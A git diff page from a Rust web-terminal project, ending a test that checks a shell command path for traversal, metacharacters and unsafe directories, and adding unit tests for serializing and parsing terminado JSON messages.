|
||||||
|
|
||||||
|
// 2. No path traversal
|
||||||
|
assert!(!command.contains(".."), "No path traversal");
|
||||||
|
|
||||||
|
// 3. No shell metacharacters
|
||||||
|
assert!(!command.contains(';'), "No semicolons");
|
||||||
|
assert!(!command.contains('&'), "No ampersands");
|
||||||
|
assert!(!command.contains('|'), "No pipes");
|
||||||
|
assert!(!command.contains('`'), "No backticks");
|
||||||
|
assert!(!command.contains('$'), "No variable expansion");
|
||||||
|
|
||||||
|
// 4. No null bytes
|
||||||
|
assert!(!command.contains('\0'), "No null bytes");
|
||||||
|
|
||||||
|
// 5. ASCII only
|
||||||
|
assert!(command.is_ascii(), "ASCII only");
|
||||||
|
|
||||||
|
// 6. Reasonable length
|
||||||
|
assert!(command.len() < 256, "Reasonable length");
|
||||||
|
|
||||||
|
// 7. Not in user-writable directory
|
||||||
|
assert!(!command.starts_with("/tmp/"), "Not in /tmp");
|
||||||
|
assert!(!command.starts_with("/var/tmp/"), "Not in /var/tmp");
|
||||||
|
|
||||||
|
// 8. No spaces (absolute path only)
|
||||||
|
assert!(!command.contains(' '), "No spaces in path");
|
||||||
|
|
||||||
|
println!("✓ Command '{}' passed all security checks", command);
|
||||||
|
}
|
||||||
311
tests/terminado_tests.rs
Normal file
311
tests/terminado_tests.rs
Normal file
@ -0,0 +1,311 @@
|
|||||||
|
// Copyright (c) 2024 Jason Witty <jasonpwitty+socktop@proton.me>.
|
||||||
|
// All rights reserved.
|
||||||
|
//
|
||||||
|
// Unit tests for terminado.rs module
|
||||||
|
|
||||||
|
use webterm::event::IO;
|
||||||
|
use webterm::terminado::TerminadoMessage;
|
||||||
|
|
||||||
|
// ============================================================================
|
||||||
|
// Serialization Tests
|
||||||
|
// ============================================================================
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_serialize_resize() {
|
||||||
|
let msg = TerminadoMessage::Resize { rows: 25, cols: 80 };
|
||||||
|
let json = serde_json::to_string(&msg).unwrap();
|
||||||
|
assert_eq!(json, r#"["set_size",25,80]"#);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_serialize_resize_large_dimensions() {
|
||||||
|
let msg = TerminadoMessage::Resize {
|
||||||
|
rows: 200,
|
||||||
|
cols: 300,
|
||||||
|
};
|
||||||
|
let json = serde_json::to_string(&msg).unwrap();
|
||||||
|
assert_eq!(json, r#"["set_size",200,300]"#);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_serialize_resize_minimum() {
|
||||||
|
let msg = TerminadoMessage::Resize { rows: 1, cols: 1 };
|
||||||
|
let json = serde_json::to_string(&msg).unwrap();
|
||||||
|
assert_eq!(json, r#"["set_size",1,1]"#);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_serialize_stdin() {
|
||||||
|
let msg = TerminadoMessage::Stdin(IO::from("hello world"));
|
||||||
|
let json = serde_json::to_string(&msg).unwrap();
|
||||||
|
assert_eq!(json, r#"["stdin","hello world"]"#);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_serialize_stdin_empty() {
|
||||||
|
let msg = TerminadoMessage::Stdin(IO::from(""));
|
||||||
|
let json = serde_json::to_string(&msg).unwrap();
|
||||||
|
assert_eq!(json, r#"["stdin",""]"#);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_serialize_stdin_special_chars() {
|
||||||
|
let msg = TerminadoMessage::Stdin(IO::from("tab\there\nnewline"));
|
||||||
|
let json = serde_json::to_string(&msg).unwrap();
|
||||||
|
assert_eq!(json, r#"["stdin","tab\there\nnewline"]"#);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_serialize_stdin_unicode() {
|
||||||
|
let msg = TerminadoMessage::Stdin(IO::from("Hello 世界 🚀"));
|
||||||
|
let json = serde_json::to_string(&msg).unwrap();
|
||||||
|
assert_eq!(json, r#"["stdin","Hello 世界 🚀"]"#);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_serialize_stdout() {
|
||||||
|
let msg = TerminadoMessage::Stdout(IO::from("output text"));
|
||||||
|
let json = serde_json::to_string(&msg).unwrap();
|
||||||
|
assert_eq!(json, r#"["stdout","output text"]"#);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_serialize_stdout_empty() {
|
||||||
|
let msg = TerminadoMessage::Stdout(IO::from(""));
|
||||||
|
let json = serde_json::to_string(&msg).unwrap();
|
||||||
|
assert_eq!(json, r#"["stdout",""]"#);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_serialize_stdout_multiline() {
|
||||||
|
let msg = TerminadoMessage::Stdout(IO::from("line1\nline2\nline3"));
|
||||||
|
let json = serde_json::to_string(&msg).unwrap();
|
||||||
|
assert_eq!(json, r#"["stdout","line1\nline2\nline3"]"#);
|
||||||
|
}
|
||||||
|
|
||||||
|
// ============================================================================
|
||||||
|
// Deserialization Tests
|
||||||
|
// ============================================================================
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_deserialize_resize() {
|
||||||
|
let json = r#"["set_size", 25, 80]"#;
|
||||||
|
let msg = TerminadoMessage::from_json(json).expect("Failed to parse");
|
||||||
|
assert_eq!(msg, TerminadoMessage::Resize { rows: 25, cols: 80 });
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_deserialize_resize_no_spaces() {
|
||||||
|
let json = r#"["set_size",25,80]"#;
|
||||||
|
let msg = TerminadoMessage::from_json(json).expect("Failed to parse");
|
||||||
|
assert_eq!(msg, TerminadoMessage::Resize { rows: 25, cols: 80 });
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_deserialize_resize_large() {
|
||||||
|
let json = r#"["set_size", 300, 500]"#;
|
||||||
|
let msg = TerminadoMessage::from_json(json).expect("Failed to parse");
|
||||||
|
assert_eq!(
|
||||||
|
msg,
|
||||||
|
TerminadoMessage::Resize {
|
||||||
|
rows: 300,
|
||||||
|
cols: 500
|
||||||
|
}
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_deserialize_stdin() {
|
||||||
|
let json = r#"["stdin", "hello world"]"#;
|
||||||
|
let msg = TerminadoMessage::from_json(json).expect("Failed to parse");
|
||||||
|
assert_eq!(msg, TerminadoMessage::Stdin(IO::from("hello world")));
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_deserialize_stdin_empty() {
|
||||||
|
let json = r#"["stdin", ""]"#;
|
||||||
|
let msg = TerminadoMessage::from_json(json).expect("Failed to parse");
|
||||||
|
assert_eq!(msg, TerminadoMessage::Stdin(IO::from("")));
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_deserialize_stdin_special_chars() {
|
||||||
|
let json = r#"["stdin", "tab\there\nnewline"]"#;
|
||||||
|
let msg = TerminadoMessage::from_json(json).expect("Failed to parse");
|
||||||
|
assert_eq!(msg, TerminadoMessage::Stdin(IO::from("tab\there\nnewline")));
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_deserialize_stdin_unicode() {
|
||||||
|
let json = r#"["stdin", "Hello 世界 🚀"]"#;
|
||||||
|
let msg = TerminadoMessage::from_json(json).expect("Failed to parse");
|
||||||
|
assert_eq!(msg, TerminadoMessage::Stdin(IO::from("Hello 世界 🚀")));
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_deserialize_stdout() {
|
||||||
|
let json = r#"["stdout", "output text"]"#;
|
||||||
|
let msg = TerminadoMessage::from_json(json).expect("Failed to parse");
|
||||||
|
assert_eq!(msg, TerminadoMessage::Stdout(IO::from("output text")));
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_deserialize_stdout_empty() {
|
||||||
|
let json = r#"["stdout", ""]"#;
|
||||||
|
let msg = TerminadoMessage::from_json(json).expect("Failed to parse");
|
||||||
|
assert_eq!(msg, TerminadoMessage::Stdout(IO::from("")));
|
||||||
|
}
|
||||||
|
|
||||||
|
// ============================================================================
|
||||||
|
// Round-trip Tests (Serialize then Deserialize)
|
||||||
|
// ============================================================================
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_roundtrip_resize() {
|
||||||
|
let original = TerminadoMessage::Resize {
|
||||||
|
rows: 40,
|
||||||
|
cols: 120,
|
||||||
|
};
|
||||||
|
let json = serde_json::to_string(&original).unwrap();
|
||||||
|
let parsed = TerminadoMessage::from_json(&json).expect("Failed to parse");
|
||||||
|
assert_eq!(original, parsed);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_roundtrip_stdin() {
|
||||||
|
let original = TerminadoMessage::Stdin(IO::from("test input"));
|
||||||
|
let json = serde_json::to_string(&original).unwrap();
|
||||||
|
let parsed = TerminadoMessage::from_json(&json).expect("Failed to parse");
|
||||||
|
assert_eq!(original, parsed);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_roundtrip_stdout() {
|
||||||
|
let original = TerminadoMessage::Stdout(IO::from("test output"));
|
||||||
|
let json = serde_json::to_string(&original).unwrap();
|
||||||
|
let parsed = TerminadoMessage::from_json(&json).expect("Failed to parse");
|
||||||
|
assert_eq!(original, parsed);
|
||||||
|
}
|
||||||
|
|
||||||
|
// ============================================================================
|
||||||
|
// Error Cases
|
||||||
|
// ============================================================================
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_deserialize_invalid_json() {
|
||||||
|
let json = r#"not valid json"#;
|
||||||
|
let result = TerminadoMessage::from_json(json);
|
||||||
|
assert!(result.is_err());
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_deserialize_not_array() {
|
||||||
|
let json = r#"{"type": "stdin", "data": "test"}"#;
|
||||||
|
let result = TerminadoMessage::from_json(json);
|
||||||
|
assert!(result.is_err());
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_deserialize_empty_array() {
|
||||||
|
let json = r#"[]"#;
|
||||||
|
let result = TerminadoMessage::from_json(json);
|
||||||
|
assert!(result.is_err());
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_deserialize_unknown_type() {
|
||||||
|
let json = r#"["unknown_type", "data"]"#;
|
||||||
|
let result = TerminadoMessage::from_json(json);
|
||||||
|
assert!(result.is_err());
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_deserialize_stdin_wrong_length() {
|
||||||
|
let json = r#"["stdin"]"#;
|
||||||
|
let result = TerminadoMessage::from_json(json);
|
||||||
|
assert!(result.is_err());
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_deserialize_stdin_too_many_elements() {
|
||||||
|
let json = r#"["stdin", "data", "extra"]"#;
|
||||||
|
let result = TerminadoMessage::from_json(json);
|
||||||
|
assert!(result.is_err());
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_deserialize_stdout_wrong_length() {
|
||||||
|
let json = r#"["stdout"]"#;
|
||||||
|
let result = TerminadoMessage::from_json(json);
|
||||||
|
assert!(result.is_err());
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_deserialize_resize_wrong_length() {
|
||||||
|
let json = r#"["set_size", 25]"#;
|
||||||
|
let result = TerminadoMessage::from_json(json);
|
||||||
|
assert!(result.is_err());
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_deserialize_resize_missing_rows() {
|
||||||
|
let json = r#"["set_size"]"#;
|
||||||
|
let result = TerminadoMessage::from_json(json);
|
||||||
|
assert!(result.is_err());
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_deserialize_resize_non_integer() {
|
||||||
|
let json = r#"["set_size", "25", "80"]"#;
|
||||||
|
let result = TerminadoMessage::from_json(json);
|
||||||
|
assert!(result.is_err());
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_deserialize_stdin_non_string() {
|
||||||
|
let json = r#"["stdin", 123]"#;
|
||||||
|
let result = TerminadoMessage::from_json(json);
|
||||||
|
assert!(result.is_err());
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_deserialize_type_not_string() {
|
||||||
|
let json = r#"[123, "data"]"#;
|
||||||
|
let result = TerminadoMessage::from_json(json);
|
||||||
|
assert!(result.is_err());
|
||||||
|
}
|
||||||
|
|
||||||
|
// ============================================================================
|
||||||
|
// Edge Cases
|
||||||
|
// ============================================================================
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_message_equality() {
|
||||||
|
let msg1 = TerminadoMessage::Stdin(IO::from("same"));
|
||||||
|
let msg2 = TerminadoMessage::Stdin(IO::from("same"));
|
||||||
|
let msg3 = TerminadoMessage::Stdin(IO::from("different"));
|
||||||
|
|
||||||
|
assert_eq!(msg1, msg2);
|
||||||
|
assert_ne!(msg1, msg3);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_message_clone() {
|
||||||
|
let original = TerminadoMessage::Resize { rows: 30, cols: 90 };
|
||||||
|
let cloned = original.clone();
|
||||||
|
assert_eq!(original, cloned);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_resize_different_values() {
|
||||||
|
let msg1 = TerminadoMessage::Resize { rows: 25, cols: 80 };
|
||||||
|
let msg2 = TerminadoMessage::Resize { rows: 30, cols: 90 };
|
||||||
|
assert_ne!(msg1, msg2);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_different_message_types_not_equal() {
|
||||||
|
let stdin = TerminadoMessage::Stdin(IO::from("test"));
|
||||||
|
let stdout = TerminadoMessage::Stdout(IO::from("test"));
|
||||||
|
assert_ne!(stdin, stdout);
|
||||||
|
}
|
||||||
Loading…
Reference in New Issue
Block a user